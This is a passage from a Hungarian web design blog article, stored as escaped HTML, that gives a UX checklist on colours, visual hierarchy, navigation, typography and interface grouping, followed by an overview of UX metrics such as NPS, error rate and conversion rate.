seg\u00edts\u00e9get k\u00e9rnek, amikor valahol elakadnak a term\u00e9ked, p\u00e9ld\u00e1ul a weboldalad haszn\u00e1lat\u00e1nak folyamat\u00e1ban. Fontos, hogy ilyenkor megkapj\u00e1k a megfelel\u0151 seg\u00edts\u00e9get, ugyanakkor az is fontos, hogy ezt k\u00f6vet\u0151en ott tudja folytatni a haszn\u00e1latot, ahol abbahagyt\u00e1k, a sag\u00edts\u00e9gny\u00fajt\u00e1s ne akassza meg \u0151ket, ne z\u00f6kkentse ki \u0151ket a folyamatb\u00f3l.<\/p>\n\n\n\n<h4>II. Vizu\u00e1lis design<\/h4>\n\n\n\n<h4>5. Ne legyen h\u00e1romn\u00e1l t\u00f6bb els\u0151dleges sz\u00edned<\/h4>\n\n\n\n<p>Ez nem egy k\u0151be v\u00e9sett szab\u00e1ly, \u00e9s akadhatnak olyan helyzetek, amikor h\u00e1romn\u00e1l t\u00f6bb els\u0151dleges sz\u00ednt kell haszn\u00e1lni. Azt azonban ne felejtsd el, hogy m\u00e1r h\u00e1rom sz\u00ednt is neh\u00e9z kombin\u00e1lni, vagyis c\u00e9lszer\u0171 elker\u00fclni enn\u00e9l t\u00f6bb sz\u00edn haszn\u00e1lat\u00e1t. Ezzel kapcsolatban kor\u00e1bban <a href=\"https:\/\/webshark.hu\/hirek\/szinek-a-weboldalon\/\" target=\"_blank\" rel=\"noopener noreferrer\">itt adtunk egy j\u00f3 sorvezet\u0151t<\/a>.<\/p>\n\n\n\n<h4>6. Ne csak a sz\u00ednekkel akard kifejezni a hierarchi\u00e1t, a tartalmat vagy a funkci\u00f3t<\/h4>\n\n\n\n<p>Egy weboldal hozz\u00e1f\u00e9rhet\u0151s\u00e9ge alap, nem pedig egy plusz. Ha mondjuk a hierarchi\u00e1t sz\u00ednekre alapozod, akkor azzal megfosztod a sz\u00ednvakokat att\u00f3l, hogy haszn\u00e1lni tudj\u00e1k a weboldaladat.<\/p>\n\n\n\n<p>A <a href=\"http:\/\/colorfilter.wickline.org\/\" target=\"_blank\" rel=\"noopener noreferrer\">colorfilter.wickline.org<\/a> seg\u00edts\u00e9g\u00e9vel sz\u00ednsz\u0171r\u0151ket h\u00fazhatsz a weboldaladra, \u00e9s l\u00e1thatod, hogy bizonyos t\u00edpus\u00fa sz\u00ednvaks\u00e1gban szenved\u0151k mik\u00e9nt l\u00e1tj\u00e1k a weboldalad. De azt is kipr\u00f3b\u00e1lhatod, hogy k\u00e9sz\u00edtesz egy k\u00e9perny\u0151k\u00e9pet a weboldaladr\u00f3l, majd azt egy k\u00e9pszerkeszt\u0151ben sz\u00fcrkesk\u00e1l\u00e1j\u00fav\u00e1 v\u00e1ltoztatod. \u00cdgy j\u00f3l l\u00e1tod, hogy sz\u00ednek n\u00e9lk\u00fcl is haszn\u00e1lhat\u00f3 marad-e a weboldal.<\/p>\n\n\n\n<h4>7. A vizu\u00e1lis hierarchia vezeti az embereket a tervezett cselekv\u00e9s fel\u00e9<\/h4>\n\n\n\n<p>Az emberek a weboldalad hierarchi\u00e1j\u00e1t\u00f3l f\u00fcggenek, ez mutatja meg nekik, hogy mit tegyenek, \u00e9s hova menjenek. Fontos teh\u00e1t, hogy k\u00f6nnyen meg\u00e9rts\u00e9k a hierarchi\u00e1t, \u00e9s az hat\u00e9konyan vezesse \u0151ket.<\/p>\n\n\n\n<p>Ehhez meg kell ismerned a term\u00e9ken bel\u00fcli folyamatokat, valamint meg kell gy\u0151z\u0151dn\u00f6d arr\u00f3l, hogy a vizu\u00e1lis hierarchia a sz\u00e1modra fontos l\u00e9p\u00e9sek megt\u00e9tel\u00e9re \u00f6szt\u00f6nzi-e az embereket.<\/p>\n\n\n\n<h4>8. A hierarchia tetej\u00e9n l\u00e9v\u0151 dolgok a legfontosabbak<\/h4>\n\n\n\n<p>A vizu\u00e1lis hierarchia seg\u00edts\u00e9g\u00e9vel tudj\u00e1k a felhaszn\u00e1l\u00f3k gyorsan feldolgozni az inform\u00e1ci\u00f3kat, prioriz\u00e1lni a tartalmakat az azonnali sz\u00fcks\u00e9gleteiknek megfelel\u0151en. A hierarchia cs\u00facs\u00e1n \u00e1ll\u00f3 elemeknek kell a legfontosabbaknak lenni\u00fck a c\u00e9g, \u00e9s a legrelev\u00e1nsabbnak az emberek sz\u00e1m\u00e1ra.<\/p>\n\n\n\n<p>\u00dagy ellen\u0151rizheted, hogy ez val\u00f3ban \u00edgy van-e, hogy k\u00e9sz\u00edtesz egy k\u00e9perny\u0151k\u00e9pet a weboldaladr\u00f3l, majd elmos\u00f3dott\u00e1 teszed egy k\u00e9pszerkeszt\u0151ben. Az \u00edgy kirajzold\u00f3d\u00f3 hierarchia, illetve a kiemelked\u0151 elemek val\u00f3ban azok, melyek a c\u00e9ged \u00e9s a felhaszn\u00e1l\u00f3id sz\u00e1m\u00e1ra a legfontosabbak?<\/p>\n\n\n\n<h4>9. Az els\u0151dleges akci\u00f3t vizu\u00e1lisan el kell v\u00e1lasztani a m\u00e1sodlagos akci\u00f3kt\u00f3l<\/h4>\n\n\n\n<p>Az els\u0151dleges \u00e9s m\u00e1sodlagos akci\u00f3k k\u00fcl\u00f6nv\u00e1laszt\u00e1sa az\u00e9rt fontos, mert \u00edgy a felhaszn\u00e1l\u00f3k nem fognak zavarba j\u00f6nni, amikor kapcsolatba l\u00e9pnek a weboldaladdal, \u00e9s kisebb az es\u00e9lye, hogy hib\u00e1kat k\u00f6vetn\u00e9nek el. Csak hogy \u00e9rthet\u0151 legyen: az \u201cElk\u00fcld\u201d \u00e9s a \u201cT\u00f6rl\u00e9s\u201d gombokat hat\u00e1rozottan el kell k\u00fcl\u00f6n\u00edteni egym\u00e1st\u00f3l.<\/p>\n\n\n\n<p>A usability tesztek sor\u00e1n figyelj arra, hogy akadnak-e olyan hib\u00e1k, melyek nem a felhaszn\u00e1l\u00f3k miatt k\u00f6vetkeznek be, hanem az els\u0151dleges \u00e9s m\u00e1sodlagos akci\u00f3k rossz elk\u00fcl\u00f6n\u00edt\u00e9se miatt. Amikor \u00e1tn\u00e9zed a designt, bizonyosodj meg arr\u00f3l, hogy a sz\u00ednek, a m\u00e9retek, a poz\u00edcion\u00e1l\u00e1s \u00e9s m\u00e1s elemek mind ezeknek az elk\u00fcl\u00f6n\u00edt\u00e9s\u00e9t szolg\u00e1lj\u00e1k.<\/p>\n\n\n\n<h4>10. A v\u00e1rakoz\u00e1soknak megfelel\u0151 kialak\u00edt\u00e1s<\/h4>\n\n\n\n<p>Amikor egy \u00faj term\u00e9ket haszn\u00e1lnak az emberek, akkor azzal kapcsolatban vannak bizonyos v\u00e1rakoz\u00e1saik kor\u00e1bbi tapasztalataikra alapozva. P\u00e9ld\u00e1ul, hogy egy gombnak hogy kell kin\u00e9znie \u00e9s mik\u00e9nt kell m\u0171k\u00f6dnie. Ha ezeknek a v\u00e1rakoz\u00e1soknak megfelelsz, akkor azzal elker\u00fcl\u00f6d a felesleges probl\u00e9m\u00e1kat.<\/p>\n\n\n\n<p>\u00dagyhogy vess egy pillant\u00e1st a weboldalad azon r\u00e9szeire, melyeket nem a megszokott sablonok alapj\u00e1n alak\u00edtott\u00e1l ki. P\u00e9ld\u00e1ul az olyan linkekre, melyek nem \u00fagy n\u00e9znek ki, mint egy link.<\/p>\n\n\n\n<h4>11. Az \u0171rlap elk\u00fcld\u00e9se vizu\u00e1lisan elt\u00e9r\u0151 m\u00f3don meger\u0151s\u00edtve<\/h4>\n\n\n\n<p>Az nagyon l\u00e9nyeges, hogy a felhaszn\u00e1l\u00f3 megfelel\u0151 visszajelz\u00e9st kapjon arr\u00f3l, hogy egy feladatot sikeresen teljes\u00edtett-e, vagy sem. P\u00e9ld\u00e1ul, miut\u00e1n elk\u00fcld\u00f6tt egy \u0171rlapot, kap-e vil\u00e1gos meger\u0151s\u00edt\u0151 \u00fczenetet, mely azt jelzi sz\u00e1m\u00e1ra, hogy tov\u00e1bbl\u00e9phet a k\u00f6vetkez\u0151 feladathoz.<\/p>\n\n\n\n<p>Ennek \u00e9rdek\u00e9ben ellen\u0151rizd minden r\u00e9szlet\u00e9t a term\u00e9kednek, ahol a felhaszn\u00e1l\u00f3 inform\u00e1ci\u00f3t ad meg. Ha inform\u00e1ci\u00f3t ad meg, akkor k\u00fcldj neki egy meger\u0151s\u00edt\u0151 \u00fczenetet arr\u00f3l, hogy ez sikeres volt-e, vagy nem. Ennek az \u00fczenetnek t\u00f6k\u00e9letesen vil\u00e1gosnak \u00e9s \u00e9rthet\u0151nek kell lennie a sz\u00e1m\u00e1ra.<\/p>\n\n\n\n<h4>12. A hiba\u00fczenetek k\u00f6vetkezetesek?<\/h4>\n\n\n\n<p>A hiba\u00fczeneteknek mindig azonos st\u00edlus\u00fanak kell lenni\u00fck, \u00e9s mindig ugyan\u00fagy, ugyanott kell megjelenni\u00fck. Ez\u00e1ltal fogja a felhaszn\u00e1l\u00f3 mindig meg\u00e9rteni, hogy valami az azonnali figyelm\u00e9t k\u00f6veteli. Ha nem vagy k\u00f6vetkezetes a hiba\u00fczenetekn\u00e9l, akkor a mindig \u00fajfajta hiba\u00fczenetek t\u00fal nagy ment\u00e1lis terhel\u00e9st jelentenek a felhaszn\u00e1l\u00f3k sz\u00e1m\u00e1ra.<\/p>\n\n\n\n<h4>13. A hiba\u00fczeneteket vizu\u00e1lisan is elk\u00fcl\u00f6n\u00edted?<\/h4>\n\n\n\n<p>Gy\u0151z\u0151dj meg arr\u00f3l, hogy a hiba\u00fczeneteid vil\u00e1gosan elk\u00fcl\u00f6n\u00fclnek a t\u00f6bbi elemt\u0151l, az emberek val\u00f3ban felfigyelnek r\u00e1, majd cselekednek a megjelen\u00e9s\u00fck hat\u00e1s\u00e1ra. \u00c9rdemes haszn\u00e1lhat\u00f3s\u00e1gi tesztek sor\u00e1n meggy\u0151z\u0151dn\u00f6d arr\u00f3l, mik\u00e9nt reag\u00e1lnak az emberek a hiba\u00fczenetekre.<\/p>\n\n\n\n<h4>III. Inform\u00e1ci\u00f3s architekt\u00fara<\/h4>\n\n\n\n<h4>14. K\u00f6vetkezetes navig\u00e1ci\u00f3<\/h4>\n\n\n\n<p>Az m\u00f3d, ahogy a felhaszn\u00e1l\u00f3k t\u00e1j\u00e9koz\u00f3dnak \u00e9s navig\u00e1lnak a weboldaladon, k\u00f6zvetlen hat\u00e1ssal van arra, hogy el\u00e9rik-e a c\u00e9ljaikat, att\u00f3l teljesen f\u00fcggetlen\u00fcl, hogy \u00e9pp melyik oldaladon tart\u00f3zkodnak. Ez\u00e9rt ellen\u0151rizd az inform\u00e1ci\u00f3s architekt\u00fara le\u00edr\u00e1s\u00e1t, \u00e9s gy\u0151z\u0151dj meg arr\u00f3l, hogy a navig\u00e1ci\u00f3 minden oldalr\u00f3l el\u00e9rhet\u0151, nem v\u00e1ltozik \u00e9s nem t\u0171nik el soha. Miel\u0151tt belemer\u00fcln\u00e9l a vizu\u00e1lis designba, bizonyosodj meg arr\u00f3l, hogy az inform\u00e1ci\u00f3s fel\u00e9p\u00edt\u00e9s folyamatai kell\u0151en intuit\u00edvak-e.<\/p>\n\n\n\n<h4>15. T\u00e9r a n\u00f6veked\u00e9sre<\/h4>\n\n\n\n<p>Nem tervezheted mindig \u00fajra meg \u00fajra a weboldalad, ah\u00e1nyszor \u00faj funkci\u00f3k vagy tartalmak ker\u00fclnek bele. A navig\u00e1ci\u00f3s men\u00fcknek \u00e9s az eg\u00e9sz fel\u00e9p\u00edt\u00e9snek el kell b\u00edrnia t\u00f6bb kateg\u00f3ri\u00e1t vagy t\u00e9m\u00e1t. \u00c9rdemes ut\u00e1naj\u00e1rni annak, hogy a tartalom a k\u00e9s\u0151bbiekben vajon milyen m\u00e9rt\u00e9kben \u00e9s mivel fog b\u0151v\u00fclni.<\/p>\n\n\n\n<h4>IV. Tipogr\u00e1fia<\/h4>\n\n\n\n<h4>16. Nem haszn\u00e1lsz t\u00f6bbet k\u00e9t bet\u0171t\u00edpusn\u00e1l?<\/h4>\n\n\n\n<p>Ez sem egy k\u00f6telez\u0151 szab\u00e1ly, n\u00e9ha lehet, hogy kett\u0151n\u00e9l t\u00f6bb bet\u0171t\u00edpusra is sz\u00fcks\u00e9ged lehet. De \u00e1ltal\u00e1ban v\u00e9ve kett\u0151n\u00e9l t\u00f6bb bet\u0171t\u00edpussal dolgozni meglehet\u0151sen neh\u00e9z. K\u00e9t bet\u0171t\u00edpus haszn\u00e1lata a megfelel\u0151 m\u00e9rt\u00e9kben leegyszer\u0171s\u00edti a hierarchi\u00e1t \u00e9s jav\u00edtja a meg\u00e9rt\u00e9st.<\/p>\n\n\n\n<p>Arr\u00f3l viszont gy\u0151z\u0151dj meg meg, hogy a v\u00e1lasztott bet\u0171t\u00edpusok megfelel\u0151en illeszkednek-e egym\u00e1shoz. Kor\u00e1bban itt \u00edrtunk r\u00e9szletesebben a <a href=\"http:\/\/blog.webshark.hu\/2016\/05\/06\/betutipus-valasztasa\/\" target=\"_blank\" rel=\"noopener noreferrer\">bet\u0171t\u00edpusok kiv\u00e1laszt\u00e1s\u00e1r\u00f3l \u00e9s kombin\u00e1l\u00e1s\u00e1r\u00f3l<\/a>.<\/p>\n\n\n\n<h4>17. Legal\u00e1bb 12 pixeles bet\u0171ket haszn\u00e1lsz?<\/h4>\n\n\n\n<p>Ez sem egy k\u0151be v\u00e9sett szab\u00e1ly, teh\u00e1t bizonyos speci\u00e1lis c\u00e9lokhoz haszn\u00e1lhatsz kisebb bet\u0171ket is, de \u00e1ltal\u00e1noss\u00e1gban 12 pixeles bet\u0171m\u00e9ret alatt nagym\u00e9rt\u00e9kben romlik az olvashat\u00f3s\u00e1g.<\/p>\n\n\n\n<h4>18. Nagybet\u0171s szavakat csak c\u00edmekn\u00e9l, c\u00edmk\u00e9kn\u00e9l \u00e9s mozaikszavakn\u00e1l haszn\u00e1lsz?<\/h4>\n\n\n\n<p>Azzal, hogy korl\u00e1tozod a nagybet\u0171s szavak haszn\u00e1lat\u00e1t, a meg\u00e9rt\u00e9st jav\u00edtod, hiszen vizu\u00e1lisan k\u00f6nnyebben befogadhat\u00f3v\u00e1 v\u00e1lik a sz\u00f6veg. Csak olyan esetben \u00e9rdemes nagy bet\u0171ket el\u0151venni, amikor valamit hangs\u00falyozni akarsz. Ellen\u0151rizd le, hogy nagybet\u0171s szavak csak c\u00edmekn\u00e9l, c\u00edmk\u00e9kn\u00e9l \u00e9s a mozaikszavakn\u00e1l jelennek meg a weboldaladon.<\/p>\n\n\n\n<h4>19. K\u00fcl\u00f6nf\u00e9le st\u00edlusok csak ott jelennek meg, ahol el kell k\u00fcl\u00f6n\u00edteni a tartalmat az ir\u00e1ny\u00edt\u00e1st\u00f3l<\/h4>\n\n\n\n<p>Kell egy vil\u00e1gos jelz\u00e9s arra, hogy mi tartozik a tartalmakhoz \u00e9s mi az ir\u00e1ny\u00edt\u00e1shoz. Elt\u00e9rhet a m\u00e9ret, a sz\u00edn, az elhelyez\u00e9s \u00e9s a bet\u0171 is. Ut\u00f3bbi k\u00fcl\u00f6n\u00f6sen fontos: ha k\u00fcl\u00f6nb\u00f6z\u0151 st\u00edlusokat vagy csal\u00e1dokat haszn\u00e1lsz, akkor a felhaszn\u00e1l\u00f3k nem fognak \u00f6sszezavarodni, \u00e9s k\u00f6nnyen r\u00e1j\u00f6nnek, milyen elemekkel tudnak interakci\u00f3ba l\u00e9pni.<\/p>\n\n\n\n<h4>20. A bet\u0171m\u00e9retek tartalmi t\u00edpusok szerint k\u00fcl\u00f6nb\u00f6znek<\/h4>\n\n\n\n<p>Jelent\u0151s m\u00e9rt\u00e9kben meghat\u00e1rozza az olvashat\u00f3s\u00e1got \u00e9s a meg\u00e9rt\u00e9st, ha vil\u00e1gosan elk\u00fcl\u00f6n\u00fcl egym\u00e1st\u00f3l a c\u00edm, az alc\u00edm \u00e9s a keny\u00e9rsz\u00f6veg. Cs\u00f6kken a ment\u00e1lis terhel\u00e9s a tartalom befogad\u00e1sa sor\u00e1n. Az ilyen elk\u00fcl\u00f6n\u00edt\u00e9snek vizu\u00e1lis el\u0151nye is van: egyszer\u0171en jobban n\u00e9z ki.<\/p>\n\n\n\n<h4>V. Felhaszn\u00e1l\u00f3i fel\u00fclet<\/h4>\n\n\n\n<h4>21. K\u00f6zels\u00e9g \u00e9s csoportos\u00edt\u00e1s<\/h4>\n\n\n\n<p>A felhaszn\u00e1l\u00f3k arra t\u00f6rekszenek, hogy az \u00f6sszetartoz\u00f3 dolgokat \u00f6sszecsoportos\u00edts\u00e1k. A navig\u00e1ci\u00f3s men\u00fc egy j\u00f3 p\u00e9lda erre. Az \u00f6sszetartoz\u00f3 elemek \u00f6sszecsoportos\u00edt\u00e1sa r\u00e9v\u00e9n k\u00f6nnyebben meg\u00e9rtik a fel\u00fcletedet. Ez\u00e9rt keresd meg azokat az elemeket, melyek hasonl\u00f3 funkci\u00f3t l\u00e1tnak el, \u00e9s ellen\u0151rizd, hogy ezek egy csoportban jelennek-e meg!<\/p>\n\n\n\n<h4>22. Folyamatjelz\u0151 a t\u00f6bbl\u00e9p\u00e9ses folyamatokn\u00e1l<\/h4>\n\n\n\n<p>K\u00fcl\u00f6n\u00f6sen a t\u00f6bbl\u00e9p\u00e9ses folyamatokn\u00e1l jellemz\u0151, hogy a felhaszn\u00e1l\u00f3 azon t\u00f6ri a fej\u00e9t, mikor jut m\u00e1r a v\u00e9g\u00e9re. A bizonytalans\u00e1g\u00e1t cs\u00f6kkenti a folyamatjelz\u0151, mert ennek r\u00e9v\u00e9n pozicion\u00e1lhatja mag\u00e1t, de ami tal\u00e1n m\u00e9g fontosabb, hogy az eredm\u00e9ny \u00e9rz\u00e9s\u00e9t k\u00edn\u00e1lja, mik\u00f6zben m\u00e9rs\u00e9kli a kil\u00e9p\u00e9s ar\u00e1ny\u00e1t.<\/p>\n\n\n\n<h4>23. Az el\u0151t\u00e9r elemei k\u00f6nnyen elk\u00fcl\u00f6n\u00edthet\u0151k a h\u00e1tt\u00e9rt\u0151l?<\/h4>\n\n\n\n<p>Ez k\u00fcl\u00f6n\u00f6sen az olyan emberek sz\u00e1m\u00e1ra fontos, akiknek valami probl\u00e9m\u00e1juk van a l\u00e1t\u00e1sukkal. Ugyanakkor jav\u00edtja a tanul\u00e1si g\u00f6rb\u00e9t \u00e9s a meg\u00e9rt\u00e9st. A hat\u00e1rozott megk\u00fcl\u00f6nb\u00f6ztet\u00e9s megk\u00f6nny\u00edti a navig\u00e1l\u00e1st, nagyobb figyelmet ir\u00e1ny\u00edt a gombokra \u00e9s \u00e1ltal\u00e1noss\u00e1gban is jav\u00edtja a haszn\u00e1lhat\u00f3s\u00e1got. Ezt \u00fagy ellen\u0151rizheted, hogy a weboldaladr\u00f3l k\u00e9sz\u00edtett k\u00e9perny\u0151k\u00e9pet elhom\u00e1lyos\u00edtod, \u00e9s ha ezen a k\u00e9pen is j\u00f3l el tudod k\u00fcl\u00f6n\u00edteni az el\u0151t\u00e9rben l\u00e9v\u0151 dolgokat a h\u00e1tt\u00e9rt\u0151l, akkor rendben van az oldalad.<\/p>\n\n\n\n<p>Ennyi lenne teh\u00e1t, b\u00e1r egy kicsit hossz\u00fara siker\u00fclt a lista. Ha mindezek rendben vannak, akkor m\u00e1r van egy j\u00f3l haszn\u00e1lhat\u00f3 a weboldalad. Ennek ellen\u00e9re tov\u00e1bbra is tesztelj, valamint vedd figyelembe a felhaszn\u00e1l\u00f3i visszajelz\u00e9seket, hogy t\u00f6k\u00e9letes\u00edthesd!<\/p>\n\n\n\n<p><em>Friss\u00edtve, 2022.08.15.:<\/em><\/p>\n\n\n\n<h2>M\u00e9rhet\u0151 a UX? Milyen UX m\u00e9r\u0151sz\u00e1mok vannak?<\/h2>\n\n\n\n<p>Mint a legt\u00f6bb dolog a weben, a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny is m\u00e9rhet\u0151, illetve \u00e9rdemes megk\u00eds\u00e9relni a m\u00e9r\u00e9s\u00e9t objekt\u00edv sz\u00e1mokkal. Ezek mutatj\u00e1k ugyanis, hogy az elk\u00e9pzel\u00e9sek t\u00e9nyleg m\u0171k\u00f6dnek, l\u00e1that\u00f3v\u00e1 v\u00e1lik, hogy a felhaszn\u00e1l\u00f3k val\u00f3j\u00e1ban mennyire el\u00e9gedettek a weboldal haszn\u00e1lat\u00e1val. <\/p>\n\n\n\n<p>Gondot jelent, hogy a term\u00e9kekn\u00e9l az alapvet\u0151 m\u00e9r\u0151sz\u00e1mok marketing-k\u00f6zpont\u00faak \u00e9s nem felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny k\u00f6zpont\u00faak. Azt mutatj\u00e1k meg, hogy mennyire sikeres egy marketingkamp\u00e1ny az \u00e9rt\u00e9kes\u00edt\u00e9s szempontj\u00e1b\u00f3l. Ezek azonban nem fejezik ki megfelel\u0151en, hogy j\u00f3-e a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny.<\/p>\n\n\n\n<p>A UX m\u00e9r\u0151sz\u00e1mokat t\u00f6bbf\u00e9lek\u00e9ppen lehet csoportos\u00edtani. Egyr\u00e9szt megk\u00fcl\u00f6nb\u00f6ztethetj\u00fck<\/p>\n\n\n\n<ul><li>a min\u0151s\u00e9gi adatokat, mint a felhaszn\u00e1l\u00f3i \u00e9rzelmek, a lojalit\u00e1s, a haszn\u00e1lhat\u00f3s\u00e1g, a felhaszn\u00e1l\u00f3i el\u00e9gedetts\u00e9g, illetve m\u00e1s szubjekt\u00edv adatok.<\/li><li>mennyis\u00e9gi adatokat: sz\u00e1mok, ar\u00e1nyok, minden, ami m\u00e9rhet\u0151.<\/li><\/ul>\n\n\n\n<p>Ugyanakkor l\u00e9tezik egy m\u00e1sfajta feloszt\u00e1s:<\/p>\n\n\n\n<ul><li>viselked\u00e9s (mit csin\u00e1lnak a felhaszn\u00e1l\u00f3k)<\/li><li>attit\u0171d (mit mondanak a felhaszn\u00e1l\u00f3k, hogy \u00e1llnak hozz\u00e1)<\/li><\/ul>\n\n\n\n<p>A felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny m\u00e9r\u00e9s\u00e9ben pont az a kih\u00edv\u00e1s, hogy a legt\u00f6bb sz\u00e1m min\u0151s\u00e9gi. Ezeket k\u00f6nny\u0171 is f\u00e9lre\u00e9rtelmezni vagy torz\u00edtani, ak\u00e1r sz\u00e1nd\u00e9kosan, ak\u00e1r v\u00e9letlen\u00fcl. Milyen adatok tartoznak ide?<\/p>\n\n\n\n<ul><li><strong>Net Promoter Score<\/strong> – mely azt mutatja, hogy a felhaszn\u00e1l\u00f3 milyen val\u00f3sz\u00edn\u0171s\u00e9ggel aj\u00e1nlja a term\u00e9ket. \u00dagy hat\u00e1rozhat\u00f3 meg, ha megk\u00e9rdezz\u00fck, hogy a felhaszn\u00e1l\u00f3 milyen m\u00e9rt\u00e9kben el\u00e9gedett a term\u00e9kkel egy 1-t\u0151l 10-ig tart\u00f3 sk\u00e1l\u00e1n. Az okokat ugyanakkor ebb\u0151l nem tudjuk meg.<\/li><li><strong>Rendszer haszn\u00e1lhat\u00f3s\u00e1gi sk\u00e1la<\/strong> – ezt egy t\u00edz k\u00e9rd\u00e9ses k\u00e9rd\u0151\u00edvvel lehet meghat\u00e1rozni, mely pontosan kifejezi a digit\u00e1lis term\u00e9k \u00e1ltal\u00e1nos haszn\u00e1lhat\u00f3s\u00e1gi pontsz\u00e1m\u00e1t. <\/li><li><strong>Felhaszn\u00e1l\u00f3i el\u00e9gedetts\u00e9g pontsz\u00e1m<\/strong> – mely azt m\u00e9ri, hogy mennyire el\u00e9gedett vagy boldog a felhaszn\u00e1l\u00f3 a term\u00e9k haszn\u00e1lata k\u00f6zben (ak\u00e1r egyetlen interakci\u00f3t, ak\u00e1r a teljes \u00e9lm\u00e9nyt tekintve). M\u00e9rhet\u0151 igen\/nem k\u00e9rd\u00e9sekkel (hasznos-e a term\u00e9k), illetve pontsz\u00e1mok is haszn\u00e1lhat\u00f3k (mennyire el\u00e9gedett).<\/li><li><strong>Feladattal elt\u00f6lt\u00f6tt id\u0151<\/strong> – ez az \u00e1tlagos id\u0151tartama egy feladat v\u00e9grehajt\u00e1s\u00e1nak. J\u00f3l mutatja egy term\u00e9k hat\u00e9konys\u00e1g\u00e1t, k\u00fcl\u00f6n\u00f6sen, ha olyan term\u00e9kr\u0151l van sz\u00f3, melyet a teljes\u00edtm\u00e9ny n\u00f6vel\u00e9se miatt k\u00e9sz\u00edtettek. Itt nincs sz\u00fcks\u00e9g felhaszn\u00e1l\u00f3i visszajelz\u00e9sre, csak az analitik\u00e1ra.<\/li><li><strong>Felhaszn\u00e1l\u00f3i er\u0151fesz\u00edt\u00e9s pontsz\u00e1m<\/strong> – mely megmutatja, hogy mennyire k\u00f6nny\u0171 egy felhaszn\u00e1l\u00f3nak befejeznie egy feladatot. Ehhez meg kell k\u00e9rdezni a felhaszn\u00e1l\u00f3t a tapasztalatair\u00f3l, \u00e9s egy t\u00edzes sk\u00e1l\u00e1n \u00e1br\u00e1zolni a v\u00e1laszt.<\/li><li><strong>Hibaar\u00e1ny<\/strong> – azt jelzi, hogy milyen gyakran nem tudta befejezni a felhaszn\u00e1l\u00f3 a feladatot egy hiba miatt. A hib\u00e1k \u00e1ltal\u00e1ban haszn\u00e1lhat\u00f3s\u00e1gi probl\u00e9m\u00e1kra vezethet\u0151k vissza. Kisz\u00e1m\u00edt\u00e1sa \u00fagy t\u00f6rt\u00e9nik, hogy a hib\u00e1s pr\u00f3b\u00e1lkoz\u00e1sok sz\u00e1m\u00e1t elosztod a pr\u00f3b\u00e1lkoz\u00e1sok sz\u00e1m\u00e1val.<\/li><li><strong>Teljes\u00edt\u00e9si ar\u00e1ny<\/strong> – azt mutatja meg, hogy milyen gyakran tudt\u00e1k a felhaszn\u00e1l\u00f3k sikeresen v\u00e9grehajtani a feladatot. Ha itt hirtelen es\u00e9s tapasztalhat\u00f3, akkor hiba lehet a rendszerben, ugyanakkor a hiba b\u00e1rhol jelentkezhet, \u00edgy ki kell nyomozni az ok\u00e1t.<\/li><li><strong>Elk\u00f6telez\u0151d\u00e9s<\/strong> – a felhaszn\u00e1l\u00f3i el\u00e9gedetts\u00e9g egy m\u00e1sik m\u00e9r\u0151sz\u00e1ma, mely azt m\u00e9ri, hogy az emberek milyen gyakran \u00e9s mennyi ideig haszn\u00e1lj\u00e1k a term\u00e9ket. <\/li><li><strong>Konverzi\u00f3s ar\u00e1ny<\/strong> – a legfontosabb m\u00e9r\u0151sz\u00e1m, ugyanis azt mutatja, hogy a felhaszn\u00e1l\u00f3k milyen gyakran hajtott\u00e1k v\u00e9gre a v\u00e1rt cselekv\u00e9st: v\u00e1s\u00e1rl\u00e1st, feliratkoz\u00e1st, \u0171rlap-kit\u00f6lt\u00e9st, stb. <\/li><\/ul>\n\n\n\n<h4>Viselked\u00e9si mutat\u00f3k<\/h4>\n\n\n\n<p>Az el\u0151bbiek k\u00f6z\u00f6tt is tal\u00e1lhat\u00f3k \u00fagynevezett viselked\u00e9si mutat\u00f3k, melyek azt jelzik, hogy mik\u00e9nt l\u00e9pnek interakci\u00f3ba a term\u00e9keddel (p\u00e9ld\u00e1ul weboldaladdal) a felhaszn\u00e1l\u00f3k, milyen probl\u00e9m\u00e1kkal tal\u00e1lkoznak ek\u00f6zben. Ezek \u00e1ltal\u00e1ban azt fejezik ki, hogy mennyire k\u00f6nny\u0171 haszn\u00e1lni a weboldalt. A j\u00f3 haszn\u00e1lhat\u00f3s\u00e1g r\u00e9sze a UX-nek, mert ha a felhaszn\u00e1l\u00f3k nem \u00e9rik el a c\u00e9ljukat, akkor egy alternat\u00edv megold\u00e1st keresnek. Viselked\u00e9si mutat\u00f3kat gy\u0171jthet\u00fcnk haszn\u00e1lhat\u00f3s\u00e1gi teszteken vagy analitikai eszk\u00f6z\u00f6kkel. Ide tartozik:<\/p>\n\n\n\n<ul><li><strong>Feladattal t\u00f6lt\u00f6tt id\u0151<\/strong> – az el\u0151bb m\u00e1r eml\u00edtett\u00fck, l\u00e9nyege: mennyi id\u0151t t\u00f6lt a felhaszn\u00e1l\u00f3 egy bizonyos cselekv\u00e9ssel. Ez megadhat\u00f3 egy sz\u00e1mmal (m\u00e1sodperc, perc, \u00f3ra). J\u00f3l m\u0171k\u00f6dik a feladat-f\u00f3kusz\u00fa tev\u00e9kenys\u00e9gekn\u00e9l, ahol valamit min\u00e9l hat\u00e9konyabban kell v\u00e9grehajtania a felhaszn\u00e1l\u00f3nak. <\/li><li><strong>Az \u00e1tlagos munkamenet hossza<\/strong> – a felhaszn\u00e1l\u00f3i elk\u00f6telez\u0151d\u00e9s – melyet el\u0151bb m\u00e1r eml\u00edtett\u00fcnk – m\u00e9r\u00e9s\u00e9re alkalmas sz\u00e1m. Min\u00e9l t\u00f6bb id\u0151t t\u00f6lt a felhaszn\u00e1l\u00f3 egy weboldalon vagy alkalmaz\u00e1sban, ann\u00e1l el\u00e9gedettebb \u00e9s elk\u00f6telezettebb. <\/li><li><strong>Elhagy\u00e1si ar\u00e1ny<\/strong> – mint p\u00e9ld\u00e1ul egy kos\u00e1relhagy\u00e1s. Web\u00e1ruh\u00e1zakn\u00e1l k\u00fcl\u00f6n\u00f6sen fontos sz\u00e1m, mely r\u00e1mutat arra, ha valami gond van a megrendel\u00e9si folyamatban.<\/li><li><strong>Hibaar\u00e1ny<\/strong> – melyet m\u00e1r szint\u00e9n eml\u00edtett\u00fcnk, l\u00e9nyege, hogy milyen gyakran hib\u00e1zik a felhaszn\u00e1l\u00f3.<\/li><\/ul>\n\n\n\n<h4>Attit\u0171d mutat\u00f3k<\/h4>\n\n\n\n<p>Az attit\u0171d 